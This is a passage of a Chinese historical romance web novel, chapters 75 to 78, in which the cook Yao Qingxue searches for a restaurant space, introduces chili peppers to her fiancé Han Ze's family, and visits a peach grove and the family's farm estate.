蜻蜓点水般的亲吻,既想靠近又显羞涩,韩泽觉得不过瘾,他捧起姚轻雪的脸颊深深地吻了下去。 良久两人才结束带着酒味儿的亲吻。姚轻雪吃吃笑。“你好坏哦韩大人。”得了便宜还卖乖。 韩泽无奈,勾勾她的鼻子,“明明是你挑起来的,怎么倒打一耙。” “因为我不讲理啊。” 第一次听见有人把不讲理说得这么理直气壮。为了转移注意力,韩泽问她最近都在做什么? “帮爷爷奶奶,给芽芽找私塾,给我自己找店铺。”姚轻雪掰着指头一个一个数。酒有后劲儿,她这会儿比先前还要醉了。 “找店铺?”韩泽给她脱了鞋,扶她躺在床上。 “嗯,食肆得开起来,不能再拖了。”姚轻雪打了个哈气,含含糊糊地说道:“我都没有像样的嫁妆。”说完她就睡了过去。 韩泽给她盖上被子,坐在床边静静地看着她。 芽芽收拾完灶房回屋,看见姐姐睡着了,她小声说:“姐姐今天高兴,喝了好多酒。” “嗯。”韩泽给她掖了掖被子,转头问芽芽:“你姐说你要去私塾?” “嗯,下个月初就去。” “要不要来我家读书?”韩泽道,“住在我家也方便,你和娇娇一起也有个伴儿。” 芽芽皱着小眉头想了想,然后摇头:“不了,我想住在家里,想和姐姐还有爷爷奶奶在一起。”姐姐都还没嫁过去,她怎么好意思去韩家。姐姐找的私塾也不远,每天都能回家。重要的是每天都能和姐姐在一起,等姐姐嫁人就不行了。 “好!”韩泽点头,“韩家请了先生,教一个是教教两个也是教,你若是改变主意随时可以过去,娇娇一定会很开心。” “嗯。”芽芽笑容灿烂,“谢谢!” “等你姐姐醒来告诉她,等我忙完再来看她。”韩泽交代两句便离开了姚家。 姚轻雪这一觉睡到月上树梢,姚福和刘氏常喝酒要比她强。俩人早就起了,刘氏还做了粥。午膳吃得油水足,她和姚福都没觉得饿,但她怕两个孙女夜里饿就做了粥。 “芽芽喜欢哪个颜色?”刘氏拿来几块不同颜色的布问正在喝粥的芽芽,她打算闲时给小孙女做书袋。 芽芽选了翠蓝色,然后转头问姐姐。“还有几个贝壳,我想缝到书袋上。” “可以啊。”姚轻雪放下碗,“等奶奶做好,你想缝在哪儿咱们就缝在哪儿。” 芽芽笑眯眯:“好!” 转眼到了三月,第一日上学芽芽起得最早。早饭后姚轻雪把妹妹送去私塾。回来时她顺路去找李通,想问问店铺找的怎么样了? 第75章 第75章“嘶,这味儿。”…… 姚轻雪的想法是可买可租,若一千两以下能买下一间店铺那就买,若是买房子的银子高于一千五百两那便租,等赚够银子再买也不迟。 然而李通告诉她,京城繁华地段普通宅子都要几万两,想几千两买店想都别想,除非很偏僻的地点,但那样的地方也不适合做生意。“租也要价格合理,地段合适,不然你能赚几个钱。我倒是看了几家,不合适便没跟你说。” 李通看了看她,“德运楼的事你听说了吧?” “听说了。”姚轻雪点点头,姚福和刘氏为此还大醉一场。 “德运楼虽不及万福楼、丰业楼,但在京城也排得上名号,地段好、面积大。以你的手艺把德运楼兑过来稳赚不赔。” “李叔,您太看得起我了。”姚轻雪苦笑,“即便把我家房子卖了也买不起德运楼。”她是想做大,但真没钱啊。加上芽芽的也才一万一千多两,哪够买德运楼。 她们家辛苦大半年才赞几百两,姚福和刘氏已经乐得做梦都会笑醒了,这点银子小富即安可以,若是拿到外面做事根本就不够看。 “那韩家、”李通欲言又止。德运楼被朝廷收了,最后会卖出去,银子充进国库。没点背景有银子也买不了德运楼。姚家不行,但姚轻雪身后有将军府啊,那可是一等一的勋贵。 姚轻雪摇摇头,“我的店跟韩家没有关系。” 她是爷爷奶奶和芽芽的依靠,嫁人的是她,姚家三口人总不能让韩家养着。尽管韩家有这个能力,韩泽也有这个意愿,但姚轻雪不打算让亲人寄人篱下。首先韩家不止韩泽一个孩子,每个人都会为自己打算。她不想有一天有人拿她家人说事,而她毫无反驳之力。谁有都不如自己有。 另外,嫁人不代表后面的生活一帆风顺,开店既是她今后的营生,也是安身立命的根本,更是将来的退路。将来的事谁说的准呢? 李通:“好,我再给你留意着。”韩家也未必希望姚轻雪抛头露面。 “那便麻烦李叔多费心了。”姚轻雪起身。 “咱们两家的关系说这话就见外了,叔也是盼着你能把生意做起来,你爷爷奶奶也跟着享福。”李通将她送到门外。 等姚轻雪走远,李通叹气,“食肆开起来又能怎样?一家小小店铺跟将军府根本没法比。”门不当户不对,得开多大的店才能配得上将军府? 几日后李通带姚轻雪看了几个位置,要么太贵承受不起,要么就是地点不行。李通让她别急慢慢找。 姚轻雪从西街回来,见韩家的马车停在巷子里,曹叔站在姚家大门外。“曹叔,您怎么来了?” 曹叔笑呵呵道:“夫人叫我过来接你过去。” “伯母找我?曹叔知道是什么事吗?” “大概是为了十八日表小姐大婚一事,具体的我也不清楚。” “好。”姚轻雪拿出钥匙打开门锁,“曹叔您等一下,我回屋换身衣服就来。” 路上姚轻雪问曹叔韩泽回太平巷住了吗?“他最近都在忙什么?怎么这么久不见人?” “我和少爷都住将军府,少爷前几天出京昨日才回。今儿一早进宫到现在还没回呢。”顿了顿曹叔又道,“少爷要办的案子大多牵扯朝中百官,半点不能马虎,十天半月见不到人都正常,姚姑娘你得有个准备。” “我明白的曹叔,韩泽有自己的事要做,我也会有自己的事情做,不会整日待在家里盼着他。”一生都在后院等一个男人回家,姚轻雪想想都打冷战。 见她来了,韩夫人叫人把几套新作的春装和首饰拿出来。“玥瑶大婚我娘家亲戚都在,正好你也认识一下,衣服都给你准备好了,选一套喜欢的。” 姚轻雪每套都试了试,最后选了雪青色半袖衫、粉色百褶裙,腰间环佩绦带,外搭一件窄袖衫。再把金累丝嵌玉石的首饰戴上,整个人立马不一样了。 韩夫人“啧啧”两声:“你呀, 平时穿戴太过素净,就该这样打扮。” 姚轻雪心想谁不想打扮,她整日做活,戴不了首饰更穿不得好衣服。她躬身道谢:“多谢伯母。” “嗯。”韩夫人点点头,“留下来用午膳吧,润青午时该是能回来。” 从韩母这里出来,姚轻雪去了她和芽芽住的院子。春佟看见她欢喜道:“姑娘,您种的花结果了,长这么大。”春佟两根食指比了个长度。 “真的?”姚轻雪有些不敢相信,这才三个多月,还是室内,辣椒竟然长到巴掌大了,她迫不及待地推门进去。 马槽里的辣椒秧郁郁葱葱长得非常茂盛,秧上还开着白色小花,叶子下面挂着几个巴掌大翠绿的辣椒。 秋月:“我和春佟按照姚姑娘的嘱咐照顾,这屋子也一直烧着火,最近天气暖和了还搬出去晒太阳呢。” “谢谢!”姚轻雪回身给了两个丫鬟每人一个拥抱。 两人愣了一下,不好意思道:“我们没做什么,都是按照您吩咐做的。” “你们做的很好。”姚轻雪叉腰,“中午用这个做菜,到时你俩也尝尝。” “这个真能吃?”秋月秀眉皱起,“三少爷说这是看果子的花,无人吃过,会不会吃出毛病来?” 毛病不会有,但未必所有人都喜欢吃辣。“你俩能接受茱萸的味道吗?” 春佟点头,“偶尔吃不下饭,吃一点茱萸开开胃。” “那就没问题了,等着瞧吧。”姚轻雪把下面长得最大的辣椒摘下来,总共有六根长到手掌长。她等不及了,掰断一个舔了下,舌头顿时跟着了火似的,喝了两口水才把辣味儿压下去。 两个丫鬟看她难受的样子,再次对这东西能吃表示怀疑。“要不我们不吃了吧,呵呵。” “随你们。”就这点怕是不够呢,不吃就不吃吧,“剩下的就不要摘了,等他们变红之后再摘下来晒干。” “还能变红?”春佟想了想长长弯弯的果子变红后挂满枝头,应该蛮好看的,红色喜庆,难怪有人喜欢。 得知姚轻雪去了厨房,韩夫人皱眉:“怎么就这么闲不住呢,嫁进来后可不能让她这么干了,传出去外人以为咱家虐待儿媳呢。” 韩将军斜着她:“你儿子就喜欢吃她做的菜,你不让人下厨,让你儿子饿着?” 韩母张了张嘴,半晌才道:“给润青做可以。” “哼。”韩将军冷哼,“那午膳她做的菜你不要吃。” “凭什么?我是她未来婆母,她敢不给我吃?”韩夫人瞪了一眼丈夫,虽然她反对媳妇下厨,但姚轻雪的手艺真是没得说。 六个辣椒,姚轻雪做了三道菜,虎皮青椒酿肉、青椒炒肉丝、青椒炒鸡蛋。韩泽刚好在开饭前到家。吃之前,姚轻雪提醒他们比茱萸辣。 韩母并不喜欢茱萸的味道便没伸筷,韩将军夹了一段虎皮青椒酿肉咬了一口,随即瞪大眼睛,“嘶,这味儿。”话还没说完他赶紧往嘴里扒饭。 韩泽紧随其后,他吃茱萸有经验,把辣椒和饭放在一起,味道刚刚好。雪儿说的没错,比茱萸要好百倍,简直令他欲罢不能。 韩母、韩莺和韩漳还有韩娇都瞪大眼睛看他们两个。韩振见儿子那么吃,便学他夹了一筷子青椒肉丝放到米饭上,吃进一大口,紧接着又是青椒炒蛋,吃完了“嘶嘶哈哈。” 盘里的菜下去了一大块,韩漳赶紧向酿肉伸出筷子。他吃完后跟父亲和大哥一个模样,扒饭和喝水乐此不疲。 韩娇问:“三哥,好吃还是不好吃啊?”今日姚姐姐过来,她来主院蹭饭。 “不、不好吃。”说完韩漳又夹了一段青椒酿肉。 韩母:“……”不好吃你还夹。眼看着菜要被父子三人夹没了,她赶紧伸筷子。韩莺和韩娇也试着夹了一点。 “这味道!”韩母觉得惊奇,吃完后嘴巴火辣辣地难受,奇怪的是吃完还想吃。 韩莺和韩娇不太能吃辣,只尝了一下便停手。不过她们想吃也没有了,因为总共也没有多少,被父亲和两个哥哥全包了。 韩漳嘴巴红红的,他喝了一口温水,“嫂子,你打算种在哪里?不然就种在咱家花园如何?” “乱喊什么,没规矩。”韩母白了儿子一眼,“我那满园子花你要给我拔了不成?” 韩将军放下筷子,“说说要什么样的土地合适,咱家京郊有百十来亩地,隔壁几个县都有田产,总共加起来也就一千五百亩吧,你想种多少都种得下。” 姚轻雪咋舌,普通农户有二三十亩地都算多的,韩家竟然有一千五百亩地。难怪韩振闲散在家、养一家闲人毫不费力。 原本韩泽答应给她找地方种,现在韩振主动提出来,姚轻雪自然不会拂了他的好意,便把适合辣椒生长的土壤要求说了一下。 韩将军大手一挥,“京郊的田随便你选,想种多少种多少。” 第76章 第76章态度 韩将军的态度,表明他很喜欢辣椒。姚轻雪笑道:“多谢伯父!用不了太多田地,今年种子不多,最多够种一亩。”这还得算上出苗后,移栽成功的情况下最多一亩,若是有点损失也就半亩多地。 “可惜我那朋友这次差点折在海上,今后都不会再去南海了,不然还能再带回来种子。”之前韩漳不知道这所谓的花可以食用,现在他亲自尝过,便知道这东西的价值,“要不我托人问问还有没有人去南海?不过可能要等很久。” 本朝海外贸易并不发达,能出海的都是巨贾富商,但海上行船风险实在太高,一旦出事一个都活不了,家人都不知道他们是生是死,十出七不回,他朋友这次若不是新船抗住了风浪,现在怕是也葬身鱼腹了。 “那倒不必。”姚轻雪道,“这东西好活,一亩的种子明年能种几十亩。” 韩振指了指盘中零星的白籽,“都吃了,哪还有一亩了?” 姚轻雪微微一笑:“其实晒干后作用更大,今日不过是想让大家尝尝鲜。” “原来如此。”韩将军点头,随后问:“种这么多咱家也吃不完吧,你是打算拿去卖?新鲜东西倒是能卖个好价钱。” 既然说到这了,姚轻雪便把自己的打算说了,她要和韩泽成亲,这件事韩家人得知情,这也是她的态度。 “你要开食肆?”韩母眉头皱起。成亲后马上得怀孕生孩子,她哪里有空打理食肆。 生孩子的话韩夫人不好当着丈夫和几个孩子的面说,“食肆生意不妥,你是韩家媳妇,难道要亲自掌勺不成?这像话吗?而且润青怎么办?他劳累一天回家都没个人关心他,你忍心?女子嫁人便该相夫教子,韩家用不着你出去赚银子。” “我不是为韩家赚,我是为自己赚。”姚轻雪语气坚定。有韩家做后盾很好,但她不会做依附韩家生存的菟丝花,韩家人最好清楚这一点。 韩母:“……你嫁给润青就是韩家人,怎么还分、” “母亲!”韩泽打断她,“我这么大的人了用不着她管,再者我忙时经常不回家,你让她待在家里做什么?您不也常常闲得发慌?我得给您提个醒,若是让她待在家里,您精心侍弄的花园早晚得变菜园子。” 韩母:“……” 姚轻雪膝盖碰了碰韩泽的大腿,瞪他。怎么就花园变菜园了?我是那种人? 韩 泽挑眉,你难道不会?当初两人一遍一遍逛花园时,你可说过这么大园子不种菜可惜了,我相信你做得出来。 两人挤眉弄眼,韩母更气了。养儿子有什么用?有了媳妇就怼娘,还威胁她。“韩家在京城有几家铺子,等轻雪嫁过来我便全部交给她打理,放心,她闲不下来。” 姚轻雪:“……”您儿子想让您至少再管家二十年,您可不能推给我。“现在的我怕是不能担此重任,等我开食肆练练手,将来我有那个能耐再帮伯母分忧。” 韩母还想再说什么,韩将军拍拍她的手:“孩子想做点事就随她吧。”他倒是很欣赏姚轻雪这股劲儿。想开食肆就开,左右她身后有韩家,赔了也没关系。 韩母没再言语,但脸色不大好看。姚轻雪深知不可能让她一下子改变态度,再说下去怕是会让她更生气,便也没再说话。 韩莺韩娇偷偷看韩夫人,韩母眼一瞪,俩人立即低头,母亲生气时最好别惹她。 韩振把酿肉的汤汁倒进碗里泡饭,今日多吃了半碗米饭,放下碗筷他郑重道:“此事切记不可外传,对外人提都不要提,老三对你那朋友也要守口如瓶。” 众人都点头,韩漳道:“父亲放心,我知道轻重。” 要是把食肆开起来,他甚至能想象得到京城食客趋之若鹜的场景,必定是能大赚。韩三公子十分赞同未来嫂子开食肆,他甚至想占一股。但一家食肆也用不了多少银子,有他大哥就行了,韩漳颇为遗憾。 饭后韩泽送她回家,沉默半晌还是忍不住问出来:“你如何知道辣椒能吃?还知道这么多做法?” 姚轻雪直视他的眼睛,嘴边勾起一抹浅笑:“我在安国公府的一本游记上见过。” 韩泽扶额,总来这套,反正死无对证、查无此书。行。不问了。 “我不反对你开食肆,但是你别让自己太累。母亲说话直了些,但有句是说的很对,韩家不需要你赚银子。韩家有千亩良田,十几家店铺,你若找不到合适的位置,把家里的店腾出一间便是。”韩家几辈人的军功,换来的不止是爵位,还有财富。 “好,我给租钱。”姚轻雪并未直接拒绝,“不过先让我自己试试,我怕伯母要太高租钱,我拿不起啊。” 知道她有自己的主意,现在不过是在卖乖,韩泽也顺着她。“好,随你,需要我做什么尽管开口,别总一个人横冲直撞,别忘了你是我韩泽的女人。” 姚轻雪心里暖暖的,“遇到你是我这辈子最大的福气呢。”她两手缠上韩泽胳膊,下巴搭在他肩上,一脸崇拜加欢喜地看着他。 这副依赖的姿态让韩大人非常受用,韩泽转头垂眸看她,突然低头亲下去,柔软温润的触感让他心中一阵阵悸动。 马车颠了一下,两人方才分开。“对了,张茂才被抓了,他不会再威胁你了。” “你干的?”姚轻雪悄声问。 “也有你的功劳。” 姚轻雪眼珠转了转问:“百花巷?”那次夜探张茂才在百花巷的宅子被韩泽抓了个正着,他们看了一场戏后,韩泽便不让她再去那里。能跟她和张茂才扯上关系的也就只有百花巷了。 韩泽点点头:“张家父子对朝中官员行贿多年,百花巷那处宅子里养的女人,就是给某些官员准备的,德运楼每年缴上来的税银不足三万两。” 那么大饭庄怎么可能就这么点税银?不止如此,张茂才的姨夫光禄寺卿冯震还偷偷把宫里的食材转卖给德运楼,拿宫中的东西赚银子,说他胆子大呢?还是活腻了? 韩泽通过百花巷那个淫窝揪出不少贪官,其中不乏高位者。陛下震怒,四皇子夭折后圣上正憋着一肚子气呢。此时正好找到一个发泄口。张家父子、冯震和牵涉其中的官员现在都在牢里关着呢。 多亏了张茂才,让皇上肃清一批蛀虫。不过本次罢免的官员是陛下登基以来最多的一次,朝廷可谓是伤筋动骨,现在朝中缺人。但官嘛,没了一批还有下一批,天下读书人那么多,春闱刚过、殿试在即,还怕没人当官? 姚轻雪唏嘘不已,说她运气好吧,什么破事都能让她赶上。说不好吧,每次似乎都能因祸得福。 等一下,祸找上的是她,但得福的似乎都是韩泽啊! “韩少卿,你没发现我很旺你吗?”姚轻雪笑盈盈地看着他。 韩泽轻笑,把她拉进怀里:“得妻如此夫复何求。” “漂亮话少说,有赏赐没?分我一半。”姚轻雪把玩韩泽腰带上的玉石。 “案子还没结,赏赐暂时没有,若有的话全给你,我一文不要。”韩泽在她额头蜻蜓点水般亲了下,“我手里有些零用钱,也给你。” 姚轻雪仰头,抬手一下一下捏他下巴玩,“零用钱能有多少。” “大约有五万两吧。” 姚轻雪:“……”你管五万两叫零用?这难道就是富人与穷人的区别吗? 抿嘴蹙眉,韩泽不用问就知道她心里在想什么。他低头在姚轻雪嘴上啄了一下。“不用嫉妒,我的就是你的。” 这话她爱听,姚轻雪投桃报李,往上一挺身给韩大人一个甜腻的亲吻。韩泽心肝俱颤,正想好好品尝一番时,就听曹叔说到地儿了。 韩大人捏了捏她的脸颊:“十八日我过来接你参加表妹的婚事。” “好,我等你。”姚轻雪走到车边,突然回身在韩泽嘴上啄了一下,然后飞快下车、推门、进院、关门,一气呵成。 韩泽摸着嘴巴,摇头失笑。 “爷爷奶奶!”姚轻雪走进姚福和刘氏的屋子,大门没锁,证明他们回来了。 进屋就见二老穿着外衣,“刚回来吗?吃饭了没?” “刚吃了点面汤。”刘氏道,“你李婶送信说你李叔受伤了,我和你爷爷去看看他。” “上午还好好的,怎么突然受伤了?”姚轻雪大惊,她和李通分开时人还好好的。 姚福道:“听说是想修屋顶,梯子断了,人从半空折下来,来人说摔得不轻,你李婶吓坏了,这才叫人来告诉我们。” 李通没有什么亲戚,来往密切的也就是姚家。出了这等事他媳妇第一个想到通知姚福和刘氏。 姚轻雪也跟着去,三人买了糕点来到李家。李通正躺在床上,头、胳膊和腿都绑着白布,看起来伤得不轻。 李通媳妇双眼通红,“都怨我,要不是我让他上房,也不会发生这样的事。” 第77章 第77章赏花 上午李通刚从外面回来,他媳妇想起上次下雨堂屋有些漏水,便让丈夫上房顶瞧瞧,没想到这么倒霉梯子断了。 李通呵斥:“怨你有什么用,我这不是没死嘛,哭哭啼啼像什么样子,去给叔婶沏茶去。” 李通媳妇抹着眼泪走出房间,李通对姚轻雪道:“侄女,叔怕是得躺两个月,找房子的事暂时不行了。我让同僚留意,有好地点必定给你留着。” “叔,找店的事不着急。您先把身体养好才最重要。” “你若自己找要多留心,有人欠了租钱不给,转手再把房子租出去;有人可能惹了麻烦;更有甚者把房子抵押,再转卖或是出租,拿了银子人就跑了,找都找不到。”李通做了这么多年牙人,什么事都碰见过,他提醒姚轻雪自己找店一定要擦亮眼睛。 离开李家,刘氏叮嘱孙女,“听着怪吓人的,等你李叔好了再找不迟,你别自己往外跑。碰见心思不好的, 你一个人应付不来,你若不依,明日我就在家守着你。” 姚轻雪无奈只好答应,找店的事暂时搁置下来。 …… 十八日早,曹叔驾车来葫芦巷接人,姚轻雪撩开帘子看见韩泽斜靠在马车里。几天未见,韩大人脸色又差了几分。“是不是没好好吃饭?” “忙,顾不上。”主要是不对胃口。好想回太平巷,有她亲手做一日三餐。 姚轻雪叹气,人人都觉得韩泽风光,可这风光背后是多少刀光剑影?陛下还专让他啃硬骨头。感觉他每办完一个案子就像脱了层皮。她想安慰两句,抬眼发现韩泽定定地看着她。 “怎么了?”姚轻雪低头打量自己,“哪里不妥吗?”她早起半个时辰打扮,今日去参见婚宴,可不能出差错。 “好看!好香!”韩泽直白地夸赞。香粉的味道在旁人身上只会令他反感,姚轻雪身上淡淡的茉莉花香却让他感到舒适。 “韩大人,你也喜欢奴家漂漂亮亮、抹香香吗?”姚轻雪扯着他的袖子晃啊晃。 韩大人扶额,抽回袖子:“别闹,等会儿去要见舅舅和姨母。”她这一脸妆可不好下口,不然花了下车叫人笑掉大牙。 姚轻雪也知等会儿要见人,便不在撩他,她坐正了身体,随手掀开帘子,一股花香扑面而来,不知不觉花已经开了。 从各家院墙伸出来的桃花、杏花在枝头竞相开放。“真好看!”姚轻雪忍不住赞叹。 韩泽顺着她的视线往外看了一眼,“月底随我去城外的庄子,郊外有桃林,一片桃花盛开的场景极美,你那个种子该种了吧。” “你有时间了?”姚轻雪欢喜道,“案子忙完了吗?” “案子没完,但我有时间。”此等大案又是涉及朝中官员,按规定需要大理寺、刑部和御史台共同审理。本案由大理寺主查,现在要刑部和御史台复核,都没有问题后案子才算完结。 两人约定三月底去郊外种辣椒,顺便踏春赏花。 姜家,韩父韩母已经到了,韩母招呼他们过去。今日姜家嫁女,姜父是官身,今日来的宾客自是不少。但所有人中韩振的身份最为最贵,是以他们夫妻二人与姜家家主并坐在主位。 姚轻雪不经意地扫了一眼,两侧坐着的都是女客,只有主位和韩母下手坐着男子,其中一位还是韩将军。 两人在众人注视下走过去,姚轻雪随韩泽拜见姜家家主和姜夫人,随后韩泽领她走到韩母下手的夫妇面前。“雪儿,这是舅舅与舅母。舅舅舅母,这是我的未婚妻姚轻雪。” 姚轻雪优雅地行礼问好。何靖为与妻子起身,何夫人笑道:“早就听姐姐说润青订了位出色的姑娘,我总惦记着瞧瞧,今儿可算是有机会了。” 何夫人拉起姚轻雪的手,将手腕上清透水润的白玉手镯滑到她手上。“头次见面,舅母的一点心意。” 姚轻雪看向韩夫人,韩母道:“你舅母的心意,收下吧。” “多谢舅母!”姚轻雪又行一礼。 姜夫人招了招手,丫鬟奉上一个盒子,“舅母给了见面礼,姨母也不能落下。” 姚轻雪莞尔:“多谢姨母!”她接过东西转身交给秋月。上次去将军府时,韩母说今日春佟和秋月听她差遣,是以他和韩泽刚进门,两个丫鬟就跟在她身后了。 大户人家女眷出门身边哪能没个丫鬟婆子,姚轻雪还没嫁进韩家,韩夫人怕儿媳被人看轻,不但提前为她准备衣服首饰,又给她派了丫鬟,可谓是体贴周到。 之后韩夫人又介绍了一些人给她认识,姚轻雪小心应对,脸上始终挂着温和的笑。她在韩家学过礼仪,礼节倒也挑不出错。 姜夫人与何夫人是韩家亲属,给了礼物,旁人倒是没有准备,有人想给让韩夫人拦住了。“今儿是玥瑶大喜的日子,可别叫她抢了风头,礼物留着,等嫁过来我带她挨家拜访,到时不给可不行。” 韩母的话惹得众人一阵大笑,此事便过去了。 姜家家主起身,领韩将军、舅兄和韩泽去男宾那边。此时姚轻雪才知他们在此,是专门等她过来见面。 男人走了,女人们说话便随意了些,有人夸姚轻雪漂亮、礼节好。其实在坐的差不多都知道姚轻雪底细,没有爹娘,祖父祖母在街边卖卤味,她自己是厨娘,正因为做了韩家长子的厨娘才入了韩泽的眼,这才有机会嫁进将军府,但众人都识趣地没提。 有人夸赞,姚轻雪客气回应,与众位夫人聊得有来有往。她态度恭敬却丝毫不见怯懦,很是大方得体,这让韩夫人暗自松了口气,润青的媳妇可不能小家子气,还好是个经事的。 吉时到,新郎官来接新娘子。新郎官个子不是很高,但五官端正有几分帅气,与姜玥瑶倒是相配。他对众人拱手,眼睛里全是笑意,看得出新郎官对这门婚事很满意。 繁缛的礼节后,鞭炮炸响、锣鼓齐鸣,迎亲的队伍离开姜家,姜母擦了擦眼角,叹道:“往后想见一面都难了。” 韩母:“有何难?自己的女儿,想了就让她回家住几日。”她的莺莺将来想回家就回家,嫁出去又不是卖出去,回娘家还成了难事? 韩莺送走表姐有些失落,但听见母亲的话后很快高兴起来,她拉上姚轻雪:“你都不认识几个人,跟着我、别走丢了,昭昭你也帮我照看她些。” 秦若昭撇撇嘴,闷闷道:“知道了。” 她俩把姚轻雪当做害羞胆怯的人一样照顾,尤其是韩莺,她是太知道这么富贵小姐们的脾气秉性了,生怕有人欺负姚轻雪,是寸步都不离她左右,她去见小姐妹,也要叮嘱秦若昭看紧她。 姚轻雪抽空问了她一句:“你不是不喜欢我吗?” “现在跟以前不一样。”韩莺把眼一瞪,“以前你跟我没关系,现在你要嫁给我大哥,谁欺负你就是跟我们韩家过不去。谁要是对你言语不敬,别留情面怼回去,说不过就来找我。”小姑娘颇有母鸡护小鸡的架势。 姚轻雪失笑,韩莺和韩母有些像,都有些护短。今日婚宴,韩母主要是让她露个脸,认认人,姚轻雪也确实认识了不少官家夫人和小姐。这大概就是她步入上流社会的开始了。 …… 在姜玥瑶出嫁十天后,韩泽终于有了空闲,他来接姚轻雪去郊外。马车来到一座山坡,下车就看见漫山遍野的桃花。轻风吹过,粉色、白色的花瓣像雪一样飘到树下,霎是好看。 姚轻雪提着裙摆往桃花林里跑去。韩泽面带微笑看着她,雪儿就像山间快乐的鸟,活力四射、不见忧愁。韩大人内心难得的宁静。 果农见又有人来了,便过来收银子,顺便提醒:“不准摇树、不准掰枝。” 韩泽付了钱,姚轻雪奇怪:“还收银子?” 果农伸手指着一块木牌,上面写着:赏花每人二十文,摇树、掰断树枝者银二两。“每天都有人来看花,看就看呗还非得摇树、掰树枝,花都没了还怎么长桃子。” 以前是不收银子的,桃花就开那么几天,谁想看就看吧,又看不坏。但有人不讲道德,后来损坏的花和树多了,一生气便开始收钱。 穷人舍不得银子便也不祸害树了,贵人不差二两银子,给了就赚了一棵树的钱,值了。后来他发现这么做竟然赚不少,于是每年待到桃花含苞时便立起这个牌子。想进桃林看花,行,掏钱。 “高!”姚轻雪对果农竖起大拇指,“赚钱有道,佩服。” 果农挠挠头,“这不是没办法了嘛,看二位是体面人,定不会损坏树木,我就不多说了,随便看吧。”说完他背着手走了。 四下无人,韩泽伸出手,“进去看看这四十文值不值。” 姚轻雪把手拍到他掌心上,挤挤眼:“没看我就知道值了,你也喜欢这里对不对?” 韩泽笑而不语,两人牵手没入桃花林中。 第78章 第78章庄子 两人看完了桃花就去了韩家在郊外的庄子。姚轻雪从车窗往外看,放眼望去是一大片农田,偶见有人在田间劳作。此时地已经翻完,垄也起了,看样子种子已经种到地里了。 在农田尽头、大山脚下有一座宅院,那就是韩家的庄子。在宅子不远处有一个规模不小的村庄。要到宅子必须经过这个村子,等马车走进了姚轻雪看见村口立着个石碑,上面刻着“安定庄”三个字。 马车刚进去村,村头的住户便出来人,男子看见赶车的人脸上一亮。“老曹!是韩将军吗?” “吁!”曹叔勒住缰绳,“将军没来,是大公子。” “大公子来了!”男人喊了一嗓子。 之后各家各户都出来了人,“大公子来了!” 见韩泽下车,男人躬身抱拳,女人行万福礼,通往山庄的长路两边站满了齐刷刷行礼的村民。对韩泽如此恭敬,姚轻雪猜这些人大概是种韩家地的佃农,只是这阵仗是不是大了点?对地主家的儿 子至于这么虔诚吗? 她随韩泽慢慢往前走,她惊奇地发现村中一些上了年纪的村民,确切地说是男人大多有伤残,有人没了胳膊,有人断了腿,有的眼睛没了一只,只有年轻人身体好好的。 等走出村子,姚轻雪回头看了一眼,曹叔与熟人相谈甚欢,其他村民慢慢散去。 “是不是觉得奇怪?”韩泽嘴角含笑看着她。 姚轻雪点了下头,这些人太过庄重,不像是佃农对地主的态度,还有那些残疾的老人。 “村里的老人都是战场上下来的兵,早年与祖父和父亲征战沙场,有些人伤残后不愿回乡,也有人家里没有亲人或是亲人不睦,就被祖父和父亲安排在这里种田。安家落户后有人娶妻生子,时间长了这里就成了村子。” 顿了顿韩泽又道:“其实他们中我一个都不认识,父亲或许还记得几个,曹叔在村中熟人多。”当年他还小,与这些人没有交集,但每次他过来,村民们都十分恭敬,即便是老兵的后代也是如此。韩家给了老兵安身之地,他们在感恩。 但韩泽却感到愧疚,保家卫国的伤残士兵不能得到妥善安置,甚至家人都嫌弃。一点善意就让他们感恩戴德,不该这样,却也只能这样。韩家能为他们做的也只有这些。 姚轻雪朗声道:“认不认识无所谓,他们感激你、感激韩将军这就够了。”村中房屋排列整齐,房子和院墙底部都加了石头和青砖,这样的房子要比土房茅屋耐住保暖。 去严州府的途中,姚轻雪看过不少村庄,但没有哪个村子像安定庄这般,全村房屋建得都很好。而且村民们看上去生活也不错,脸上有肉、面容轻松。整个国家乡村差都不多的情况下,只有安定庄生活安宁,这只能说明一件事——韩家确实给了他们很多帮助。 说话间两人来到宅子前,韩泽抬手敲门。李贵开门见是少主子,立马敞开大门,迎他们进院。“地都准备好了,按照您的吩咐留了一亩上等田。”前些日子韩父派人过来让他留一亩好田。 “麻烦贵叔了。”韩泽颔首,“有吃的吗?”刚刚在桃林玩了一通,两人肚子早就饿了。 “我这就叫人做去。” 韩泽点头:“简单些就好。” “哎!”李贵应下匆匆离去。 韩泽带人来到住处,姚轻雪放下包袱走出房间,她看见院墙那有一处高台,她顺着梯子爬上去。庄子在山脚下,地势要高于农田,从这个位置看下面的景色非常壮观。从这里还能看见一条大河从平坦的农田中间穿过,隐约还能看见河面粼粼的水光。 “这些田都是你们家的?”姚轻雪回头问,韩泽也已顺着梯子上了高台。 “嗯。”韩家乃开过元勋,而且居功甚伟,所以就得到了这块京城外最好的一片田。其他田地就要离得远了一些。 “我的那一亩在哪里?”姚轻雪迫不及待地想要去看她的地。 “急什么,等吃过饭再去。”“韩泽指了指山下,“看着近,走一个来回得两刻钟,吃过午膳再去不迟。” 大门响动,曹叔与村民聊完赶车回来了。他卸了车、拴好马,走到高台下。“少爷,村民听说您要种东西,都说要帮忙。” “大公子,午饭做好了。”李贵和一个妇人端着两个托盘从灶房里走出来。看见曹叔,那妇人大着嗓门道:“曹老哥,你那份在灶房呢,快去吃吧。” “好嘞!”曹叔笑着道。 两人走下高台,一个八九岁的小姑娘端着一盆水走近,她把水放到外面的凳子上,腼腆地说:“洗洗手吧。” 韩泽颔首先去洗手。姚轻雪:“多谢!” “谢啥?这都是她该干的。”妇人从屋内走出,见姚轻雪看她,妇人道:“姑娘没见过我,我是李贵媳妇。”她一指眼前的小姑娘,“这是春杏,我女儿。” 姚轻雪眼中露出惊讶,李贵跟曹叔差不多岁数,但他这媳妇却三十左右,这年纪差的是不是有点大? 李贵媳妇似乎看出了她的疑惑,直言道:“是不是觉得他都能当我爹了?” “你在公子面前瞎说什么?”李贵呵斥道。 他媳妇撇撇嘴,对韩泽行一礼,然后对姚轻雪道:“姑娘进屋用饭吧,昨日村里杀了头猪,我做了肉面,缺什么就喊小杏。” 姚轻雪道谢,随韩泽进屋,桌上摆着两碗宽面,面上摆着满满的五花肉。除了面还有三盘菜两碗汤,分别是黄瓜炒鸡蛋、小白菜炒肉、芹菜炒肉和蛋花汤。 看见青菜,姚轻雪问:“暖房在哪里?”春天才刚开始,市面上可没有黄瓜,芹菜也没这么大,这些必定是暖房里种出来的。 